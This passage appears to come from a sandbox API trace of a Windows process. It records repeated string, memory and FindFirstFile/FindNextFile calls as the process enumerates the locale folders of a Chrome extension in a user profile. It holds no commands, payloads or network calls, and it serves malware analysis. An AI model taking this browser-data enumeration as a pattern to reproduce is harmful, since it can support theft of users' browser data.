IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg\\*.*" [0056.314] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.314] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.315] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.315] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.315] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.315] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.315] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.315] LocalFree (hMem=0x2dc218) returned 0x0 [0056.315] LocalFree (hMem=0x2dc100) returned 0x0 [0056.315] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.315] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.315] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.315] lstrlenA (lpString="\\") returned 1 [0056.315] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.315] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.315] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.315] lstrlenA (lpString="ca") returned 2 [0056.315] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.315] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.315] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca" [0056.315] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca") returned 142 [0056.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca") returned 142 [0056.315] lstrlenA (lpString="\\*.*") returned 4 [0056.315] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.315] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca" [0056.315] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca\\*.*" [0056.315] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.315] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.315] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.315] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.315] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.315] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.315] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.315] LocalFree (hMem=0x2dc218) returned 0x0 [0056.315] LocalFree (hMem=0x2dc100) returned 0x0 [0056.315] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.315] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.315] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.315] lstrlenA (lpString="\\") returned 1 [0056.315] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.315] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.316] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.316] lstrlenA (lpString="cs") returned 2 [0056.316] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.316] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.316] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs" [0056.316] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs") returned 142 [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs") returned 142 [0056.316] lstrlenA (lpString="\\*.*") returned 4 [0056.316] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.316] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs" [0056.316] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs\\*.*" [0056.316] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.316] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.316] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.316] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.316] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.316] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.316] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.316] LocalFree (hMem=0x2dc218) returned 0x0 [0056.316] LocalFree (hMem=0x2dc100) returned 0x0 [0056.316] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.316] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.316] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.316] lstrlenA (lpString="\\") returned 1 [0056.316] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.316] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.316] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.316] lstrlenA (lpString="da") returned 2 [0056.316] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.316] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.316] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da" [0056.316] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da") returned 142 [0056.316] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da") returned 142 [0056.316] lstrlenA (lpString="\\*.*") returned 4 [0056.316] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.316] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da" [0056.316] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da\\*.*" [0056.316] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\da\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.317] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.317] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.317] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.317] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.317] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.317] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.317] LocalFree (hMem=0x2dc218) returned 0x0 [0056.317] LocalFree (hMem=0x2dc100) returned 0x0 [0056.317] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.317] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.317] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.317] lstrlenA (lpString="\\") returned 1 [0056.317] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.317] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.317] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.317] lstrlenA (lpString="de") returned 2 [0056.317] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.317] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.317] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de" [0056.317] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de") returned 142 [0056.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de") returned 142 [0056.317] lstrlenA (lpString="\\*.*") returned 4 [0056.317] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.317] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 